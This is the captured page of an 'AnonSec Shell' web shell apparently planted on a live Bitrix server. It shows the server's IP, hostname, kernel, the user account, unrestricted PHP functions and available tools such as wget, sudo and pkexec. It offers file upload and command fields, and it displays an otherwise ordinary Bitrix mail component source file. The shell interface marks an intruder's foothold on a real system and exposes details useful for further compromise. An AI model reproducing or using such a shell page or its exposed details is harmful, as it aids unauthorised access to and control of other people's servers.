AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.133.127.195
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/mail/install/components/bitrix/mail.uf.message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/mail/install/components/bitrix/mail.uf.message/class.php
<?php

use Bitrix\Main;
use Bitrix\Main\Security;
use Bitrix\Main\Localization\Loc;
use Bitrix\Mail;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();

Loc::loadMessages(__FILE__);

\Bitrix\Main\Loader::includeModule('mail');

class CMailUfMessageComponent extends CBitrixComponent
{

	public function executeComponent()
	{
		global $USER;

		$message = Mail\MailMessageTable::getList(array(
			'select' => array(
				'*',
				'MAILBOX_EMAIL' => 'MAILBOX.EMAIL',
				'MAILBOX_NAME' => 'MAILBOX.NAME',
				'MAILBOX_LOGIN' => 'MAILBOX.LOGIN',
			),
			'filter' => array(
				'=ID' => (int) $this->arParams['MESSAGE_ID'],
			),
		))->fetch();

		if (empty($message))
		{
			if ('view' == $this->arParams['MODE'])
			{
				$this->includeComponentTemplate('empty');
			}
			else
			{
				$this->includeComponentTemplate('error');
			}

			return;
		}

		$userField = $this->arParams['USER_FIELD'];
		if ($userField['ENTITY_VALUE_ID'] > 0)
		{
			$access = Mail\Internals\MessageAccessTable::getList(array(
				'filter' => array(
					'=MAILBOX_ID' => $message['MAILBOX_ID'],
					'=MESSAGE_ID' => $message['ID'],
					'=ENTITY_UF_ID' => $userField['ID'],
					'=ENTITY_ID' => $userField['ENTITY_VALUE_ID'],
				),
				'limit' => 1,
			))->fetch();
		}

		if (empty($access))
		{
			if (!Mail\MailboxTable::getUserMailbox($message['MAILBOX_ID']))
			{
				$this->includeComponentTemplate('denied');
				return;
			}
		}

		Mail\Helper\Message::prepare($message);

		if (!empty($access))
		{
			$signer = new Security\Sign\Signer(new Security\Sign\HmacAlgorithm('md5'));

			$message['__href'] = \CHTTP::urlAddParams(
				$message['__href'],
				array(
					'mail_uf_message_token' => sprintf(
						'%s:%s',
						$access['TOKEN'],
						$signer->getSignature($access['SECRET'], sprintf('user%u', $USER->getId()))
					),
				),
				array(
					'encode' => true,
				)
			);
		}

		$message['__thread_new'] = 0;

		$newCount = Mail\MailMessageTable::getList(array(
			'runtime' => array(
				new Main\Entity\ReferenceField(
					'MESSAGE_UID',
					'Bitrix\Mail\MailMessageUidTable',
					array(
						'=this.MAILBOX_ID' => 'ref.MAILBOX_ID',
						'=this.ID'         => 'ref.MESSAGE_ID',
					),
					array(
						'join_type' => 'INNER',
					)
				),
				new Main\Entity\ReferenceField(
					'CLOSURE',
					Mail\Internals\MessageClosureTable::class,
					array(
						'=this.ID' => 'ref.MESSAGE_ID',
					)
				),
			),
			'select' => array(
				new Main\Entity\ExpressionField('NEW_COUNT', 'COUNT(DISTINCT %s)', 'ID'),
			),
			'filter' => array(
				'=MAILBOX_ID' => $message['MAILBOX_ID'],
				'=CLOSURE.PARENT_ID' => $message['ID'],
				'!@MESSAGE_UID.IS_SEEN' => array('Y', 'S'), // @TODO: index?
			),
		))->fetch();

		if (!empty($newCount) && $newCount['NEW_COUNT'] > 0)
		{
			$message['__thread_new'] = (int) $newCount['NEW_COUNT'];
		}

		if (empty($message['BODY']) && !empty($message['BODY_HTML']))
		{
			$message['BODY'] = html_entity_decode(
				htmlToTxt($message['BODY_HTML']),
				ENT_QUOTES | ENT_HTML401,
				LANG_CHARSET
			);
		}

		$this->arResult['MESSAGE'] = $message;

		$this->includeComponentTemplate();
	}

}

Anon7 - 2022
AnonSec Team